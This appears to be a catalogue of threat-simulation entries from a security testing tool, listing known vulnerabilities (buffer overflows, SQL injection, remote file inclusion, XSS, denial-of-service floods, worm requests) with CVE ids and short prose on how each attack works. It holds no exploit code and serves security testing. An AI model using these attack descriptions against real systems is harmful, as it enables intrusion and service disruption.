Detailed Description:	A remote code execution vulnerability have been reported in the RAR decompression component of Symantec Antivirus Engine. The vulnerability is due to improper validation of archive headers in RAR files. A remote attacker could exploit this vulnerability by sending a maliciously crafted file to a user running this engine. Successful exploitation could result in arbitrary code execution in the context of SYSTEM.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-2207
Threat File Name:	FSC20071023-19_IBM_Lotus_Notes_DOC_Attachment_Viewer_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes DOC Attachment Viewer Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in the way IBM Lotus Notes Attachment Viewer processes files. The vulnerability is a result of insufficient boundary checking while processing the Microsoft Word for DOS Document. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word for DOS file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	IMAP
CVEID:	CVE-2007-5544
Threat Package:	Standard
Threat File Name:	TSL20170517-05_Red_Hat_JBoss_BPM_Suite_BRMS_Tasks_List_Cross-Site_Scripting.xml
Executive Description:	Red Hat JBoss BPM Suite BRMS Tasks List Cross-Site Scripting
Detailed Description:	A cross-site scripting vulnerability has been reported in Red Hat JBoss BPM Suite and JBoss BRMS. The vulnerability is due to insufficient validation of user supplied input within the Tasks List component of business-central. An authenticated attacker can exploit this vulnerability by creating a malicious custom Task List filter. Successful exploitation would result in the execution of arbitrary script code in the target user's browser.
Protocol Type:	HTTP
CVEID:	CVE-2017-2674
Threat File Name:	FSC20060314-07_Microsoft_Excel_Malformed_Range_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed Range Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of Named Ranges in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2005-4131
Threat Package:	Standard
Threat File Name:	mxshop_id_ctg_sql_i_IPv6.xml
Executive Description:	MX Shop Pages Module 'id_ctg' variable SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL containing an SQL query which is executed by the server with the servers permissions. MX Shop is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3004
OSVDB:	19611
Threat File Name:	ftp_buffer_overflow_513.xml
Executive Description:	FTP Buffer Overflow [513] Attack
Detailed Description:	This generic threat sends a long buffer [513 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	FSC20110311-02_Oracle_Java_XGetSamplePtrFromSnd_Memory_Corruption.xml
Executive Description:	Oracle Java XGetSamplePtrFromSnd Memory Corruption
Detailed Description:	A memory corruption vulnerability exists within Oracle JRE and JDK. The flaw is due to an input validation error within jsound!XGetSamplePtrFromSnd while processing user supplied Soundbank data. By enticing a target user to run a Java applet or a Java Web Start application, a remote attacker can exploit this vulnerability to execute arbitrary code on a target system. Successful exploitation could result in execution of arbitrary code within the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2010-4462
Threat File Name:	FSC20070109-11_Microsoft_Internet_Explorer_VML_Buffer_Overrun_Vulnerability_IPv6.xml
Executive Description:	Microsoft Internet Explorer VML Buffer Overrun Vulnerability (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability when processing Vector Markup Language (VML) documents. The flaw is due to improper validation of user supplied values in the properties of the "RecolorInfo" sub-element. Upon opening a malicious VML document on the target host, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0024
Threat Package:	Standard
Threat File Name:	FSC20091014-04_Adobe_Acrobat_and_Adobe_Reader_Plugin_Object_Reloading_Memory_Corruption.xml
Executive Description:	Adobe Acrobat and Adobe Reader Plugin Object Reloading Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Adobe Acrobat and Adobe Reader Plugin. The vulnerability is due to an error when handling certain COM objects. A remote attacker can exploit this vulnerability by enticing a target user to visit a specially crafted web page. Exploitation of the vulnerability can result in arbitrary code execution in the context of the application. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application parsing the malicious HTML document will terminate abnormally.

Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2983
Threat File Name:	amp_rfi.xml
Executive Description:	AMP v3.2 (base_path) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AMP is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1571
Threat Package:	Standard
Threat File Name:	TSL20140411-10_Advantech_WebAccess_SCADA_bwocxrun_ocx_Command_Execution.xml
Executive Description:	Advantech WebAccess SCADA bwocxrun.ocx Command Execution
Detailed Description:	A command execution vulnerability exists in Advantech WebAccess SCADA software. This is due to insufficient input validation on the first parameter of the CreateProcess function of the bwocxrun.ocx ActiveX control. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to OS command execution within the security context of the user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0773
OSVDB:	105571
Threat File Name:	RipAnnounceFlood2.xml
Executive Description:	RIPv1 Announce Flood Random Source
Detailed Description:	This threat sends out a flood of RIPv1 announcement packets, attempting to cause an overload in server resources. RIPv1 typically listens on UDP port 520. The version of this RIPv1 flood sends packets out from random source addresses.
Protocol Type:	RIPv1
Threat Package:	Standard
Threat File Name:	EQdkp_cmi_IPv6.xml
Executive Description:	EQdkp Arbitrary Remote File Execution (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which includes an arbitrary remote file containing PHP code which is executed by the server via the "eqdkp_root_path" parameter. EQdkp is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2256
OSVDB:	25339
Threat Package:	Standard
Threat File Name:	TSL20150127-02_GNU_C_Library_gethostbyname_Buffer_Overflow_IPv6.xml
Executive Description:	GNU C Library gethostbyname Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in GNU C Library (glibc) __nss_hostname_digits_dots() function which is accessible from gethostbyname*() functions. The function can overflow sizeof(*char) bytes, 4 or 8 for 32-bit or 64-bit architectures, respectively. A remote attacker can exploit this vulnerability by providing crafted input to an application that uses a gethostbyname function with user controlled input; the exact mechanism will depend on the application using the vulnerable function. Successful exploitation could result in code execution in the context of the affected application. Tester should set variable \$destPort to 25 before test.
Protocol Type:	SMTP/SMTPS.IPV6
CVEID:	CVE-2015-0235
OSVDB:	117579
Threat File Name:	sipsmimesigned.xml
Executive Description:	SIPPING: S/MIME Signed Message
Detailed Description:	This threat sends out a S/MIME signed SIP message. Because the signature contains binary data, including null characters, this may confuse or crash a SIP implementation even though it is legal.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	xmlrpc_IPv6.xml
Executive Description:	XMLRPC Command Injection (IPv6 Version)
Detailed Description:	This threat injects commands through a flaw in xmlrpc.php. XMLRPC is used by many popular programs as a framework to pass functions through XML and web servers. It typically is a component on web servers and listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1992
OSVDB:	17635
Threat Package:	Standard
Threat File Name:	absolute_xss_IPv6.xml
Executive Description:	Absolute Image Gallery XE Multiple Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url to take advantage of a flaw in Absolute Image Gallery XE which does not properly sanitize user-supplied which allows malicious users to execute code on the affected site. Absolute Image Gallery XE is a web application the typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1411
OSVDB:	24214
Threat Package:	Standard
Threat File Name:	phpim_cmi.xml
Executive Description:	PHPIM Remote Command Injection /SQL Injection Flaw
Detailed Description:	This threat leverages a cookie based SQL injection flaw, to insert php code, which is then executed by the server. PHPIM is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard

Threat File Name:	TSL20160119-26_Oracle_Application_Testing_Suite_DownloadServlet_scheduleReportName_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Application Testing Suite DownloadServlet scheduleReportName Directory Traversal(IPv6 version)
Detailed Description:	A directory traversal vulnerability exists in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/otm/download" URI with parameter scheduleReportName.A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2016-0481
Threat File Name:	FSC20081209-05_Microsoft_Excel_TXO_and_OBJ_Records_Parsing_Stack_Memory_Corruption.xml
Executive Description:	Microsoft Excel TXO and OBJ Records Parsing Stack Memory Corruption
Detailed Description:	There exist a memory corruption vulnerability in Microsoft Excel products. The flaw is due to improper handling of crafted XLS documents. An attacker can persuade the target user to open a malicious XLS document to exploit this vulnerability. Successful attack could allow for arbitrary code injection and execution with privileges of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4265
Threat Package:	Standard
Threat File Name:	TSL20130621-11_PHP_SdnToJewish_Function_Integer_Overflow.xml
Executive Description:	PHP SdnToJewish Function Integer Overflow
Detailed Description:	A denial of service vulnerability exists in PHP. The vulnerability is due to insufficient input validation leading to an integer overflow in the SdnToJewish function. This function is located in jewish.c which is part of PHP's Calendar component. An attacker can exploit this vulnerability if the application uses the vulnerable function. A successful attack will result in a denial of service condition.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2013-4635
OSVDB:	93968
Threat File Name:	FSC20060711-25_Microsoft_Office_Malformed_GIF_File_Processing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Malformed GIF File Processing Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the GIF graphics filter installed with Microsoft Office products. The flaw is triggered when a malicious GIF image is parsed by the affected component. A successful attack may lead to the execution of arbitrary code with the privileges of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0007
Threat Package:	Standard
Threat File Name:	FSC20081209-13_Microsoft_Windows_search-ms_Protocol_Handler_Command_Execution_IPv6.xml
Executive Description:	Microsoft Windows search-ms Protocol Handler Command Execution (IPv6 Version)
Detailed Description:	There exists a command execution vulnerability in Microsoft Windows. The vulnerability is due to a design error in Windows Explorer in the way it handles search queries provided by the search-ms protocol handler. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page.Successful exploitation would allow for arbitrary command execution in the security context of the currently logged on user. If an attack results in successful code injection and its subsequent execution, the behaviour of the target host will depend on the intention of the attacker. Note that any command execution will be within the security context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4269
Threat Package:	Standard
Threat File Name:	TSL20121213-01_Adobe_Camera_Raw_Plug-in_TIFF_Image_Processing_Buffer_Underflow.xml
Executive Description:	Adobe Camera Raw Plug-in TIFF Image Processing Buffer Underflow
Detailed Description:	A buffer underflow vulnerability has been reported in Adobe Photoshop. The vulnerability is due to an error while parsing LZW data inside TIFF files with the raw plug-in. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to process a maliciously crafted file. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-5679
Threat File Name:	TSL20141016-03_Drupal_Core_database_inc_expandArguments_SQL_Injection_IPv6.xml
Executive Description:	Drupal Core database.inc expandArguments SQL Injection IPv6 version.
Detailed Description:	A SQL injection vulnerability has been found in Drupal Core. The vulnerability is due to insufficient validation of user-supplied data when expanding argument values used in SQL queries. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted parameter to a Drupal Core server. Successful exploitation could lead to arbitrary code execution under the security context of the server.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2014-3704
OSVDB:	113371
Threat File Name:	TSL20150319-04_OpenSSL_ClientHello_signature_algorithms_Extension_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSL ClientHello signature_algorithms Extension Denial of Service IPv6 version.

Detailed Description:	A denial of service vulnerability exists in OpenSSL. The vulnerability is due to a null pointer dereference when an OpenSSL server application, during renegotiation, receives and processes an invalid signature_algorithms extension in a Client Hello handshake message. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted TLS 1.2 message during renegotiation. Successful exploitation will cause the server application to crash, resulting in a denial-of-service condition. Tester should set the variable \$destPort to 443 before test.
Protocol Type:	TLS/HTTPS/SMTP/SMTPS/SIPS.IPv6
CVEID:	CVE-2015-0291
Threat File Name:	phpbbauction_cmi_IPv6.xml
Executive Description:	phpBB auction mod - Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which allows arbitrary inclusion of PHP or HTML code via the phpbb_root_path parameter. phpBB is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130430-09_IBM_SPSS_SamplePower_Vsflex81_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	IBM SPSS SamplePower Vsflex81 ActiveX Control Buffer Overflow
Detailed Description:	A global buffer overflow vulnerability exists in IBM SPSS SamplePower. The vulnerability is due to a lack of boundary checking on the user-supplied ComboList or ColComboList property value in the Vsflex81 ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5945
OSVDB:	92844
Threat File Name:	FSC20071029-03_Oracle_Database_SYS_LT_FINDRICSET_SQL_Injection_IPv6.xml
Executive Description:	Oracle Database SYS.LT.FINDRICSET SQL Injection (IPv6 Version)
Detailed Description:	There exists a SQL injection vulnerability in Oracle Database. The vulnerability is due to insufficient sanitization of the input parameter in the "SYS.LT.FINDRICSET" function. A remote authenticated attacker could exploit this vulnerability by embedding malicious SQL code as part of the vulnerable parameter. Successful exploitation would allow "PUBLIC" users to gain "SYS" level privileges. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2007-5511
Threat Package:	Standard
Threat File Name:	FSC20101012-26_Microsoft_Office_Excel_PtgExtraArray_Structure_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel PtgExtraArray Structure Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Excel. The vulnerability occurs when parsing and validating PtgExtraArray structure within Formula records in Excel files. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3231
Threat File Name:	FSC20080527-21_CA_BrightStor_ARCserve_Backup_caloggerd_Opcode_79_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	CA BrightStor ARCserve Backup caloggerd Opcode 79 Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Computer Associates BrightStor ARCserve Backup product. The vulnerability is due to insufficient bounds checking in the user supplied data contained inside the requests sent to the caloggerd service. A remote unauthenticated attacker may leverage this vulnerability to inject and execute arbitrary code on the target host with System level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	WinNuke.xml
Executive Description:	WinNuke
Detailed Description:	This threat crashes Windows machines running Windows 95 and Windows NT 4.0 and prior. This threat sends a large payload to TCP port 139.
Protocol Type:	NETBIOS_SS
CVEID:	CVE-1999-0153
OSVDB:	1666
Threat Package:	Standard
Threat File Name:	ms06-016.xml
Executive Description:	Outlook Express Malformed Address Book
Detailed Description:	This threat mimics a user downloading a malformed address book that causes a memory corruption flaw in the wab32.dll library of outlook express. This particular version of the threat causes the fault to occur without code execution, however code execution does look possible with more work. This is a threat that comes from the virtual server as a malicious payload from a web server. Web servers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0014
OSVDB:	24519
Threat Package:	Standard
Threat File Name:	apache_gzip_IPv6.xml
Executive Description:	Apache GZIP Buffer Overflow (IPv6 Version)
Detailed Description:	This attack exploits a flaw in Apache's implementation of the GZIP HTTP extension. This allows an attacker to execute remote code in the context of the Apache webserver. Apache typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0842
OSVDB:	4650
Threat Package:	Standard

Threat File Name:	thomson_sip_st2030_dos.xml
Executive Description:	Thomson SIP phone ST 2030 Remote Denial of Service Vulnerability
Detailed Description:	This threat replays an attack against a Thomson 2030 sip phone containing a parsing issue which is not handled correctly by the phone resulting in a denial of service. This threat is delivered via UDP port 5060.
Protocol Type:	SIP
CVEID:	CVE-2007-4553
Threat Package:	Standard
Threat File Name:	nimda9_IPv6.xml
Executive Description:	Nimda Request URL 9 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160630-11_WECON_LeviStudio_CurScrIDAddr_Stack_Buffer_Overflow.xml
Executive Description:	WECON LeviStudio CurScrIDAddr Stack Buffer Overflow
Detailed Description:	A stack buffer overflow has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of BaseSet CurScrIDAddr XML attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to visit a malicious web page or open a crafted project. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP
Threat File Name:	coppermine_xss_IPv6.xml
Executive Description:	Coppermine <= 1.4.12 Cross Site Scripting (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Coppermine is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20140909-02_ManageEngine_Desktop_Central_StatusUpdate_Arbitrary_File_Upload.xml
Executive Description:	ManageEngine Desktop Central StatusUpdate Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to lack of authentication and insufficient input validation of the parameters sent to the StatusUpdate page when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations. Tester should set variable \$destPort 8020 or 8383 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-5005
OSVDB:	110643
Threat File Name:	TSL20160204-04_Oracle_Application_Testing_Suite_ReportImage_tempfilename_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Application Testing Suite ReportImage tempfilename Directory Traversal(IPv6 version)
Detailed Description:	A directory traversal vulnerability exists in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation in the Oracle Test Manager component while processing the HTTP request parameter <i>tempfilenameA</i> remote, authenticated attacker could exploit this vulnerability by sending a maliciously crafted request to the vulnerable server. Successful exploitation leads to arbitrary file uploads, system modifications and possibly code execution under the security context of SYSTEM. (In combination with other vulnerabilities, the user authentication requirement can be bypassed.)
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2016-0489
Threat File Name:	FSC20080115-25_Apple_QuickTime_Image_Descriptor_Atom_Parsing_Memory_Corruption.xml
Executive Description:	Apple QuickTime Image Descriptor Atom Parsing Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Apple QuickTime application. The vulnerability is due to improper checking the Atom size field of the idsc atom in the QTIF image file. A remote attacker may exploit this vulnerability by providing a malicious QTIF image file to the target user. Potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0033
Threat Package:	Standard
Threat File Name:	faqengine_sqli_IPv6.xml
Executive Description:	FAQEngine Question.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a standard SQL injection attack against FAQEngine, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2749
Threat Package:	Standard
Threat File Name:	TSL20170609-02_VideoLan_VLC_Media_Player_ParseJSS_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	VideoLan VLC Media Player ParseJSS Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow has been reported in VLC Media Player. The vulnerability is due to improper handling of certain directives in JACOSub subtitle files. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted subtitle file. Successful exploitation could result in arbitrary code execution in the context of the user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-8311
Threat File Name:	TSL20150216-04_Microsoft_Internet_Explorer_Shadow_Filter_Direction_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer Shadow Filter Direction Integer Overflow IPv6 version.

Detailed Description:	An integer overflow vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an improper boundary check on the direction attribute value of a shadow filter. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-0036
OSVDB:	118156
Threat File Name:	dlink_http_dos_IPv6.xml
Executive Description:	D-Link Long URL Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a long URL known to crash a D-Link router. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-1865
Threat Package:	Standard
Threat File Name:	incrementalFragAttack_IPv6.xml
Executive Description:	Incremental Frag Attack Over and Over (IPv6 Version)
Detailed Description:	This attack targets a flaw in the Windows IP fragmentation reassembly code. It sends a large number of fragments belonging to 50 IP packets. It sends in order, causing the fragment reassembly code to traverse long lists in its memory to remove and recreate a portion of the packet. Since the final packet (IP More Fragments == false) is never sent, this attack will waste CPU time until it is stopped. Most effective over 100 Mbit networks or faster. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2004-0744
OSVDB:	8431
Threat Package:	Standard
Threat File Name:	TSL20170616-07_Microsoft_Edge_CAttrArray_Object_PrivateFindInl_Method_Type_Confusion.xml
Executive Description:	Microsoft Edge CAttrArray Object PrivateFindInl Method Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Edge. The vulnerability is due to a CAttribute object being confused for a CAttrArray object by the PrivateFindInl method. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-8496
Threat File Name:	pdf_doc_catalog_vuln_IPv6.xml
Executive Description:	PDF Document Catalog Handling Vulnerability (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a document, and the server replying with a maliciously constructed PDF file. This file will trigger various vulnerabilities in multiple PDF reader programs, including memory corruption, memory leaks, and denial of service. The transport of the PDF file is done via HTTP, which generally runs on port 80.. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	phpcommunitycalendar_xss_b.xml
Executive Description:	phpCommunityCalendar 4.0.3 Cross Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing HTTP to be included in the returned page via event.php's "link" parameter. phpCommunityCalendar is a web based application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2798
Threat Package:	Standard
Threat File Name:	IE-DOS_window_IPv6.xml
Executive Description:	Internet Explorer MS05-054 window() Denial of Service (IPv6 Version)
Detailed Description:	This threat causes Internet Explorer to crash by calling the DOM window object as a function. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1790
OSVDB:	17094
Threat Package:	Standard
Threat File Name:	FSC20090107-05_SAP_GUI_TabOne_ActiveX_Control_Caption_List_Buffer_Overflow.xml
Executive Description:	SAP GUI TabOne ActiveX Control Caption List Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the SAP GUI. Remote attackers can exploit this vulnerability by persuading a target user to visit a specially crafted web page. As a result of processing the malicious command, a heap-based buffer overflow can be triggered which may result in injection and execution of arbitrary code with privileges of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the malicious code injected. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4827
Threat Package:	Standard
Threat File Name:	fully_modded_phpbb2_rfi.xml
Executive Description:	Fully Modded phpBB2 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Fully Modded phpBB2 is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5526
Threat Package:	Standard
Threat File Name:	TSL20131127-01_Apache_Roller_OGNL_Injection_Remote_Code_Execution.xml
Executive Description:	Apache Roller OGNL Injection Remote Code Execution

Detailed Description:	A command execution vulnerability exists in Apache Roller. The vulnerability is due to a lack of sanitization on OGNL expressions passed to certain methods. This can lead to OGNL injection which can result in remote code execution. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to a site using the vulnerable application. Successful exploitation could lead to remote code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-4212
OSVDB:	100342
Threat File Name:	FSC20070710-16_Microsoft_Excel_Workbook_Workspace_Designation_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Workbook Workspace Designation Handling Code Execution
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing the SubStreamType field in a BOF record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3030
Threat Package:	Standard
Threat File Name:	logicsftunix_IPv6.xml
Executive Description:	Logics Software LOG-FT Unix Arbitrary File Disclosure (IPv6 Version)
Detailed Description:	This threat sends a specially crafted HTTP request that triggers an access validation error. Because of this error, LOG-FT will allow the attacker to read any file on the webserver in the user context of the sever. LOG-FT is a web application and is accessed via a web server, which typically listens on TCP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1002
Threat Package:	Standard
Threat File Name:	lotus_domino_dos_IPv6.xml
Executive Description:	Lotus Mail Loop Denial of Service (IPv6 Version)
Detailed Description:	This threat sends an email with a sender address of bounce@[127.0.0.1]. This causes Lotus Domino Mail server to continue to deliver the mail back to itself in a rapid fashion, causing a denial of service. Lotus Domino Mail server listens on port 25 typically. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2000-1203
OSVDB:	10816
Threat Package:	Standard
Threat File Name:	TSL20140502-07_InduSoft_Web_Studio_Directory_Traversal.xml
Executive Description:	InduSoft Web Studio Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in InduSoft Web Studio. The vulnerability is due to insufficient validation of certain requests while using the development web server. An unauthenticated attacker could exploit this vulnerability by sending crafted requests to the vulnerable service. In the event of a successful attack, arbitrary files can be downloaded from outside of the web server's root directory.
Protocol Type:	HTTP
CVEID:	CVE-2014-0780
Threat File Name:	vignette.xml
Executive Description:	Vignette Application Portal diagnostic access
Detailed Description:	This threat attempts to access developer information from the Vignette application portal software. The software does not have access control restrictions by default, allowing anyone to view the details of how the application is structured.
Protocol Type:	HTTP
CVEID:	CVE-2004-0917
OSVDB:	10405
Threat Package:	Standard
Threat File Name:	FSC20110308-02_Microsoft_Windows_Media_DVR-MS_File_Code_Execution.xml
Executive Description:	Microsoft Windows Media DVR-MS File Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Media Player and Windows Media Center. The vulnerability is due to a pointer dereference error while parsing specially crafted DVR-MS files. This vulnerability can be leveraged to inject and execute arbitrary code. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted DVR-MS file. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0042
Threat File Name:	lupper8_IPv6.xml
Executive Description:	Lupper Worm 8 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20120206-07_Adobe_Flash_Player_MP4_Sequence_Parameter_Set_Parsing_Buffer_Overflow.xml
Executive Description:	Adobe Flash Player MP4 Sequence Parameter Set Parsing Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Adobe Flash Player. The issue can manifest itself when it parses the Sequence Parameter Set structure in an MP4 file. An attacker could exploit this vulnerability by enticing a target user to visit a specially crafted web page. A successful attack leveraging this vulnerability could lead to arbitrary code execution on the vulnerable system in the security context of the affected application.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2140

Threat File Name:	runcms_cmi_b.xml
Executive Description:	RunCMS Remote Code Execution Vulnerability
